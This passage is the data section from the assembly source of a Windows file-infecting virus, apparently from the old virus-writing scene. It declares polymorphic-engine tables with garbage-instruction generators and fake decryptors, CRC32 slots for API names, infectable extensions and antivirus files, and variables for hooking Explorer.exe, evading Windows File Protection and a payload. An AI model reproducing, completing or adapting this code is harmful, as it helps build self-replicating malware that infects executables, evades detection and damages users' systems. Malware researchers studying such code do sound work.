                dd offset g_movreg8imm          ;mov reg8,imm
		dd offset g_xchgregreg32	;xchg reg32,reg32
		dd offset g_xchgregreg16	;xchg reg16,reg16
		dd offset g_xchgregreg8		;xchg reg8,reg8
                dd offset g_movregreg32         ;mov reg32,reg32
                dd offset g_movregreg16         ;mov reg16,reg16
		dd offset g_movregreg8          ;mov reg8,reg8
		dd offset g_inc_reg32		;inc reg32
		dd offset g_inc_reg16		;inc reg16
		dd offset g_inc_reg8		;inc reg8
		dd offset g_dec_reg32		;dec reg32
		dd offset g_dec_reg16		;dec reg16
		dd offset g_dec_reg8		;dec reg8
                dd offset g_mathregimm32        ;math reg32,imm
                dd offset g_mathregimm16        ;math reg16,imm
                dd offset g_mathregimm8         ;math reg8,imm
                dd offset g_movzx_movsx         ;movzx/movsx reg32,reg16

save_space	equ $

		dd offset gen_mov_mem32		;mov mem,reg32
		dd offset gen_mov_mem16		;mov mem,reg16
		dd offset gen_mov_mem8		;mov mem,reg8
		dd offset gen_add_mem32		;add mem,reg32
		dd offset gen_add_mem16		;add mem,reg16
		dd offset gen_add_mem8		;add mem,reg8
		dd offset gen_sub_mem32		;sub mem,reg32
		dd offset gen_sub_mem16		;sub mem,reg16
		dd offset gen_sub_mem8		;sub mem,reg8
		dd offset gen_adc_mem32		;adc mem,reg32
		dd offset gen_adc_mem16		;adc mem,reg16
		dd offset gen_adc_mem8		;adc mem,reg8
		dd offset gen_sbb_mem32		;sbb mem,reg32
		dd offset gen_sbb_mem16		;sbb mem,reg16
		dd offset gen_sbb_mem8		;sbb mem,reg8
		dd offset gen_or_mem32		;or mem,reg32
		dd offset gen_or_mem16		;or mem,reg16
		dd offset gen_or_mem8		;or mem,reg8
		dd offset gen_and_mem32		;and mem,reg32
		dd offset gen_and_mem16		;and mem,reg16
		dd offset gen_and_mem8		;and mem,reg8
		dd offset gen_xor_mem32		;xor mem,reg32
		dd offset gen_xor_mem16		;xor mem,reg16
		dd offset gen_xor_mem8		;xor mem,reg8
                dd offset g_push_g_pop          ;push reg/garbage/pop reg
                dd offset g_call_cont           ;call/garbage/pop
                dd offset g_jump_u              ;jump/rnd block
                dd offset g_jump_c              ;jump conditional/garbage				
		dd offset gen_fake_crypt	;fake decryptor instruction

end_garbage     equ $

                ;============================================================
		;PolyPush
                ;============================================================

TblDoPush	equ $

pushEBX		db 053h
pushESI		db 056h
pushEDI		db 057h
pushEBP		db 055h
	
                ;============================================================
		;PolyPop
                ;============================================================

TblDoPop	equ $

popEBX		db 05Dh
popESI		db 05Fh
popEDI		db 05Eh
popEBP		db 05Bh
				
;============================================================================
;CRC32 of API names
;============================================================================

CrcKernel32	dd 00000000h		;CRC32 of KERNEL dll name

CrcGetProcAddr	dd 00000000h		;This API takes special care

CRC32K32Apis		dd NumK32Apis 		dup (00000000h)
CRC32TOOLHELPApis       dd NumTOOLHELPApis      dup (00000000h)
CRC32PSAPIApis		dd NumPSAPIApis		dup (00000000h)
CRC32IMGHLPApis		dd NumIMGHLPApis 	dup (00000000h)
CRC32SFCApis		dd NumSFCApis 		dup (00000000h)
CRC32USER32Apisw9x	dd NumUSER32Apis 	dup (00000000h)
CRC32USER32Apiswnt	dd NumUSER32Apis 	dup (00000000h)

CRC32_IsDebugPr         dd 00000000h
CRC32_RegServProc       dd 00000000h

;============================================================================
;CRC32 of infectable file extensions
;============================================================================

TblCRC32szEXT	equ $

CRC32_szEXE	dd 00000000h
CRC32_szSCR	dd 00000000h
CRC32_szCPL	dd 00000000h

NumberOfExt	equ ($-TblCRC32szEXT)/04h

;============================================================================
;CRC32 of EXPLORER.EXE and USER32.DLL
;============================================================================

CRCszEXPLORER	dd 00000000h
CRCszUSER32	dd 00000000h
CRCszPSAPI      dd 00000000h
CRCszIMGHLP     dd 00000000h
CRCszSFC        dd 00000000h

;============================================================================
;Avoid some files from being infected
;============================================================================

avoid_tbl	dd avoid_num dup (00000000h)

;============================================================================
;CRC32 of AV files
;============================================================================

TblCRC32AV	dd NumberOfAV dup (00000000h)

;============================================================================
;End of CRC32 protected area
;============================================================================

SizeOfProtect	equ $-CRC_protected

;============================================================================
;End of virus image in files
;============================================================================

inf_size	equ $-viro_sys

;============================================================================
;Seed for random number generator
;============================================================================

rnd32_seed      dd 00000000h

;============================================================================
;CRC32 lookup table
;============================================================================

tbl_crc32	dd 0100h dup (00000000h)

;============================================================================
;KERNEL32 API's
;============================================================================

;GetProcAddress API takes special care

a_GetProcAddress		dd 00000000h

epK32Apis			equ $

a_CreateFileA			dd 00000000h
a_CreateFileMappingA		dd 00000000h
a_CreateProcessA		dd 00000000h
a_CreateThread			dd 00000000h
a_CloseHandle			dd 00000000h
a_DeleteFileA			dd 00000000h
a_ExitThread			dd 00000000h
a_FindClose			dd 00000000h
a_FindFirstFileA		dd 00000000h
a_FindNextFileA			dd 00000000h
a_FreeLibrary			dd 00000000h
a_GetComputerNameA		dd 00000000h
a_GetCurrentProcess		dd 00000000h
a_GetDriveTypeA                 dd 00000000h
a_GetFileAttributesA		dd 00000000h
a_GetLastError			dd 00000000h
a_GetLocalTime			dd 00000000h
a_GetLogicalDriveStringsA       dd 00000000h
a_GetSystemDirectoryA		dd 00000000h
a_GetVersionEx			dd 00000000h
a_LoadLibraryA			dd 00000000h
a_MapViewOfFile			dd 00000000h
a_OpenFileMappingA		dd 00000000h
a_OpenProcess			dd 00000000h
a_ReadProcessMemory		dd 00000000h
a_SetEndOfFile			dd 00000000h
a_SetFileAttributesA		dd 00000000h
a_SetFilePointer		dd 00000000h
a_SetFileTime			dd 00000000h
a_Sleep				dd 00000000h
a_UnmapViewOfFile		dd 00000000h
a_WriteProcessMemory		dd 00000000h

NumK32Apis			equ ($-epK32Apis)/04h

;Only used when present

a_IsDebuggerPresent		dd 00000000h

hKERNEL32			dd 00000000h

;============================================================================
;Used to check current computer name
;============================================================================

SizeOfComputerName	dd 00000000h

szComputerName		db 20h dup (00h)

;============================================================================
;Buffer used on misc routines
;============================================================================

EP_Bytes		dd 00000000h

BufStrFilename		db MAX_PATH+01h dup (00000000h)

;============================================================================
;End of virus virtual image
;============================================================================

size_virtual	equ $-viro_sys

;============================================================================
;Structure used by GetVersionEx
;============================================================================

system_version		equ $

dwOSVersionInfoSize	dd 00000000h
dwMajorVersion		dd 00000000h
dwMinorVersion		dd 00000000h
dwBuildNumber		dd 00000000h
dwPlatformId		dd 00000000h

szCSDVersion		db 80h dup (00h)

VER_PLATFORM_WIN32s             equ 00h
VER_PLATFORM_WIN32_WINDOWS      equ 01h
VER_PLATFORM_WIN32_NT           equ 02h

;============================================================================
;Variables used by the Windows 9x residency routines
;============================================================================

hSnapshot                       dd 00000000h

ProcessEntry                    equ $

ProcEdwSize                     dd 00000000h
ProcEcntUsage                   dd 00000000h
ProcEth32ProcessID              dd 00000000h
ProcEth32DefaultHeapID          dd 00000000h
ProcEth32ModuleID               dd 00000000h
ProcEcntThreads                 dd 00000000h
ProcEth32ParentProcessID        dd 00000000h
ProcEpcPriClassBase             dd 00000000h
ProcEdwFlags                    dd 00000000h
ProcEszExeFile                  db MAX_PATH dup (00h)

SIZEOFPROCESSENTRY              equ ($-ProcessEntry)

ModuleEntry                     equ $

ModEdwSize                      dd 00000000h
ModEth32ModuleID                dd 00000000h
ModEth32ProcessID               dd 00000000h
ModEGlblcntUsage                dd 00000000h
ModEProccntUsage                dd 00000000h
ModEmodBaseAddr                 dd 00000000h
ModEmodBaseSize                 dd 00000000h
ModEhModule                     dd 00000000h
ModEszModule                    db MAX_MODULE_NAME32+1 dup (00h) 
ModEszExePath                   db MAX_PATH dup (00h)

SIZEOFMODULEENTRY               equ ($-ModuleEntry)

MAX_MODULE_NAME32               equ 255

;============================================================================
;Variables used by the Windows NT and Windows 2000 residency routines
;============================================================================

hProcess			dd 00000000h
hModule				dd 00000000h

ProcessIdList			dd 20h dup (00000000h)
ModuleList			dd 20h dup (00000000h)

Explorer_MZ_lfanew			dd 00000000h
Explorer_FH_SizeOfOptionalHeader	dw 0000h
Explorer_FH_NumberOfSections		dw 0000h

Explorer_SectionHeader		db IMAGE_SIZEOF_SECTION_HEADER dup (00h)

Explorer_DE_Import		dd 00000000h

Explorer_ImportDescriptor	db IMAGE_SIZEOF_IMPORT_DESCRIPTOR dup (00h)

Explorer_ID_Name		db 10h dup (00h)
ParseDllNameErrorProtection	db 00h

Explorer_Hook			dd 00000000h
Explorer_Patch			dd 00000000h
Explorer_Init_Hook		dd 00000000h

;============================================================================
;This is virus infection thread ID
;============================================================================

IF_ThreadID			dd 00000000h

;============================================================================
;This is used to locate system DLL files and load them without using names,
;only by means of CRC32
;============================================================================

a_SDLL_CRC32		dd 00000000h

szSYSTEMDIR		db MAX_PATH dup (00h)

;============================================================================
;TOOLHELP API's (Windows 9x only)
;============================================================================

epTOOLHELPApis                  equ $

a_CreateToolhelp32Snapshot      dd 00000000h
a_Process32First                dd 00000000h
a_Process32Next                 dd 00000000h
a_Module32First                 dd 00000000h
a_Module32Next                  dd 00000000h

NumTOOLHELPApis                 equ ( $-epTOOLHELPApis)/04h

;============================================================================
;PSAPI API's (Windows NT & Windows 2000 only)
;============================================================================

epPSAPIApis			equ $

a_EnumProcessModules		dd 00000000h
a_EnumProcesses			dd 00000000h
a_GetModuleBaseNameA		dd 00000000h
a_GetModuleInformation		dd 00000000h

NumPSAPIApis			equ ($-epPSAPIApis)/04h

hPSAPI				dd 00000000h

;============================================================================
;IMAGEHLP APIs used to compute new image checksum
;============================================================================

epIMGHLPApis			equ $

a_CheckSumMappedFile		dd 00000000h

NumIMGHLPApis			equ ($-epIMGHLPApis)/04h

hIMGHLP				dd 00000000h

;============================================================================
;SFC APIs used by the virus to avoid Windows 2000 System File Protection
;============================================================================

epSFCApis			equ $

a_SfcIsFileProtected		dd 00000000h

NumSFCApis			equ ($-epSFCApis)/04h

hSFC				dd 00000000h

;============================================================================
;USER32 APIs ( The address is for the Ansi version if the target is running
;windows 9x or the Wide version if running windows Nt ) .
;============================================================================

epUSER32Apis			equ $

a_DefWindowProc			dd 00000000h

NumUSER32Apis			equ ($-epUSER32Apis)/04h

hUSER32				dd 00000000h

;============================================================================
;Handles over target files
;============================================================================

h_CreateFile		dd 00000000h
h_FileMap		dd 00000000h

;============================================================================
;Misc variables
;============================================================================

CurFileAttr		dd 00000000h
ChecksumPE		dd 00000000h
OldChecksum		dd 00000000h
map_is_here		dd 00000000h
FileImport		dd 00000000h
ImportSH		dd 00000000h
inject_offs		dd 00000000h
vir_offset		dd 00000000h
search_raw		dd 00000000h
host_base		dd 00000000h
virus_sh		dd 00000000h
fix_size		dd 00000000h
raw_align		dd 00000000h
K32CodeStart		dd 00000000h
K32CodeEnd		dd 00000000h

;============================================================================
;Poly engine uninitialized data
;============================================================================

CRYPT_DIRECTION equ 01h
CRYPT_CMPCTR    equ 02h
CRYPT_CDIR      equ 04h
CRYPT_SIMPLEX   equ 10h
CRYPT_COMPLEX   equ 20h
CRYPT_FOG	equ 40h

PtrToCrypt	dd 00000000h	;Pointer to area to encrypt
PtrToDecrypt	dd 00000000h	;Where to generate polymorphic decryptor
PtrToEP		dd 00000000h	;Pointer to code entry-point once decrypted
SizeCrypt	dd 00000000h	;Size of area to encrypt
end_value       dd 00000000h    ;Index end value
loop_point      dd 00000000h    ;Start address of decryption loop
entry_point     dd 00000000h    ;Entry point to decryptor code
decryptor_size  dd 00000000h    ;Size of generated decryptor
disp2disp	dd 00000000h    ;Displacement over displacement 
condition_ptr	dd 00000000h	;Pointer to JZ/JNZ instruction at loop end

Xrnd1		dd 00000000h
XrndReg		dd 00000000h
XrndFixPtr	dd 00000000h
XrndMath	dd 00000000h

counter_mask    db 00h          ;Mask of register used as counter
recursive_level db 00h          ;Garbage recursive layer
IsFirst		db 00h		;Save registers only on 1st decryptor

fake_field		equ $

ptr_disp		dd 00000000h    ;Displacement from index
fake_ptr_disp		dd 00000000h	;...and fake one

crypt_key		dd 00000000h    ;Encryption key
fake_crypt_key		dd 00000000h	;...and fake one

build_flags		db 00h          ;Some decryptor flags
fake_build_flags	db 00h		;...and fake ones

oper_size		db 00h          ;Size used (1=Byte 2=Word 4=Dword)
fake_oper_size		db 00h		;...and fake one

index_mask		db 00h          ;Mask of register used as index
fake_index_mask		db 00h		;...and fake one

TblStdPshP		equ $

			dd 00000000h
			dd 00000000h
			dd 00000000h
			dd 00000000h

PshPStepIndex		dd 00000004h dup (00000000h)

NUM_DA			equ 10h

NumberOfDataAreas	db 00h

tbl_data_area		db NUM_DA*08h dup (00h)

;============================================================================
;SYSTEMTIME structure used by GetLocalTime
;============================================================================

local_time		equ $

LT_Year			dw 0000h
LT_Month		dw 0000h
LT_DayOfWeek		dw 0000h
LT_Day			dw 0000h
LT_Hour			dw 0000h
LT_Minute		dw 0000h
LT_Second		dw 0000h
LT_Milliseconds		dw 0000h

;============================================================================
;A rect structure used in the payload
;============================================================================

WindowRect		equ $

WR_left			dd 00000000h
WR_top			dd 00000000h
WR_right		dd 00000000h
WR_bottom		dd 00000000h

;============================================================================
;This is a WIN32 FindData structure used to infect files, and some 
;auxiliary variables
;============================================================================

FileSizeOnDisk		dd 00000000h
FatSize			dd 00000000h

FT_CreationTime		db 08h dup (00h)
FT_LastAccessTime	db 08h dup (00h)
FT_LastWriteTime	db 08h dup (00h)

h_Find			dd 00000000h
DirectFindData		db SIZEOF_WIN32_FIND_DATA dup (00h)

;============================================================================
;Used to retrieve current, windows and system directories
;============================================================================

BufGetDir		db MAX_PATH+01h dup (00000000h)

;============================================================================
;Used to get logical drives
;============================================================================

SIZEOF_LDSB             equ MAX_PATH

szLogicalDrives         db SIZEOF_LDSB dup (00000000h)

;============================================================================
;End of virus image in allocated memory
;============================================================================

alloc_size		equ $-viro_sys

virseg          	ends
                	end host_code